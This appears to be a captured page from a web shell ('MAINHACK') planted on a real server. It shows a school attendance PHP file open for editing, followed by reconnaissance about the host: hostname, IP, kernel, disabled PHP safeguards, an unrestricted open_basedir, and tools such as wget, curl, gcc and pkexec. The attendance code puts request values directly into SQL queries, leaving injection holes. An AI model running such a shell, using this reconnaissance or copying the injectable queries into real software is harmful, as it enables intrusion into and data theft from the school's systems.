[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: student-records.php
<?php include("../functions.php"); if (isset($_GET['schoolCode']) || !empty($_GET['schoolCode'])) { $schoolCode = test_input($_GET['schoolCode']); } $sql = "SELECT * FROM schools WHERE school_code = '$schoolCode' LIMIT 1"; $result = mysqli_query($new, $sql); if (mysqli_num_rows($result) > 0) { $message = ""; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $index_no = mysqli_real_escape_string($new, $_POST['index_no']); $today = date("Y-m-d"); $timeNow = date("H:i:s"); $dayName = date("l"); // e.g. Monday // find student $student = mysqli_fetch_assoc(mysqli_query($new, "SELECT * FROM enrol_details WHERE schoolID ='$index_no' AND s_code = '$schoolCode'")); if ($student) { $semester = $student['semester']; $class_name = $student['classname']; // find timetable slot for today $sql = "SELECT * FROM timetable1 WHERE s_code='$schoolCode' AND day='$dayName'"; $timetable = mysqli_query($new, $sql); $validClass = false; $timetable_id = null; while ($row = mysqli_fetch_assoc($timetable)) { list($startTime, $endTime) = explode(" - ", $row['time_slot']); $start = strtotime($startTime); $end = strtotime($endTime); $now = strtotime($timeNow); if ($now >= $start && $now <= $end) { $validClass = true; $timetable_id = $row['id']; break; } } if ($validClass) { // check if already marked $check = mysqli_query($new, "SELECT * FROM attendance WHERE student_id = '$index_no' AND timetable_id='$timetable_id' AND date='$today' AND sch_code = '$schoolCode'"); if (mysqli_num_rows($check) == 0) { $status = ($now > strtotime("07:00 AM")) ? "Late" : "Present"; $sql = "INSERT INTO attendance (student_id,sch_code,classname,semester,timetable_id, date, time_in, status) VALUES ('$index_no','$schoolCode','$class_name','$semester', '$timetable_id', '$today', '$timeNow', '$status')"; mysqli_query($new, $sql); $message = "✅ Attendance recorded for {$student['name']} at $timeNow"; } else { $message = "⚠️ You have already marked attendance for this class today!"; } } else { $message = "❌ No valid class for you at this time."; } } else { $message = "❌ Invalid Student ID!"; } } } else { header("location:index.php"); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Smart Attendance</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <style> body { background: #f8f9fa; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; } .attendance-card { width: 100%; max-width: 400px; padding: 20px; border-radius: 12px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); background: #fff; } .clock { font-size: 1.8rem; font-weight: bold; text-align: center; margin-bottom: 15px; color: #198754; } </style> <script> function updateClock() { const now = new Date(); document.getElementById("clock").innerText = now.toLocaleTimeString(); } setInterval(updateClock, 1000); window.onload = updateClock; </script> </head> <body> <div class="attendance-card"> <h4 class="text-center mb-3">Student Attendance</h4> <div id="clock" class="clock"></div> <?php if($message) { echo "<div class='alert alert-info text-center'>$message</div>"; } ?> <form method="post"> <div class="mb-3"> <label class="form-label">Student ID</label> <input type="text" name="index_no" class="form-control text-center" placeholder="Enter your ID" required> </div> <div class="d-grid"> <button type="submit" class="btn btn-success">Mark Attendance</button> </div> </form> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002